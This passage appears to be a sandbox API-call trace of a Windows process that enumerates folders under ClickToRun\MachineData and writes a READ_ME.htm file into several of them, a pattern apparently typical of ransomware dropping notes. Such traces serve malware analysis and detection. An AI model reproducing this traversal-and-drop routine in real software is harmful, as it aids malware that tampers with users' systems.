ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0140.368] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0140.369] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7589c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.369] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7589c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.369] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.369] SetErrorMode (uMode=0x0) returned 0x1 [0140.369] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpFilePart=0x0) returned 0x3b [0140.369] SetErrorMode (uMode=0x1) returned 0x0 [0140.369] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0140.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e70c700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e70c700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.370] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.370] SetErrorMode (uMode=0x0) returned 0x1 [0140.370] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpFilePart=0x0) returned 0x3b [0140.371] SetErrorMode (uMode=0x1) returned 0x0 [0140.371] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0140.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e70c700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e70c700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.371] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.372] SetErrorMode (uMode=0x0) returned 0x1 [0140.372] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpFilePart=0x0) returned 0x44 [0140.372] SetErrorMode (uMode=0x1) returned 0x0 [0140.372] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.372] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.373] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e70c700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.373] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e70c700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.373] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.373] SetErrorMode (uMode=0x0) returned 0x1 [0140.373] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpFilePart=0x0) returned 0x44 [0140.373] SetErrorMode (uMode=0x1) returned 0x0 [0140.373] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.374] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.374] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e70c700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.374] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e70c700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e70c700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e70c700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.374] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.374] SetErrorMode (uMode=0x0) returned 0x1 [0140.374] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0140.375] SetErrorMode (uMode=0x1) returned 0x0 [0140.375] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.376] SetErrorMode (uMode=0x0) returned 0x1 [0140.376] GetFileType (hFile=0x1d0) returned 0x1 [0140.376] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f04d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28f04d0*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0140.377] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\READ_ME.htm", lpFilePart=0x0) returned 0x47 [0140.378] SetErrorMode (uMode=0x1) returned 0x0 [0140.378] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.379] SetErrorMode (uMode=0x0) returned 0x1 [0140.379] GetFileType (hFile=0x1d0) returned 0x1 [0140.379] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f4ab0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28f4ab0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0140.380] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", lpFilePart=0x0) returned 0x3f [0140.380] SetErrorMode (uMode=0x1) returned 0x0 [0140.380] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e732860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0140.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0140.381] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.381] SetErrorMode (uMode=0x0) returned 0x1 [0140.381] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", lpFilePart=0x0) returned 0x3f [0140.381] SetErrorMode (uMode=0x1) returned 0x0 [0140.381] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.382] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.382] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e732860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.382] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0140.382] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0140.382] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.382] SetErrorMode (uMode=0x0) returned 0x1 [0140.383] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpFilePart=0x0) returned 0x4f [0140.383] SetErrorMode (uMode=0x1) returned 0x0 [0140.383] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.383] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.383] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e732860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e732860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.383] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e732860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e732860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, 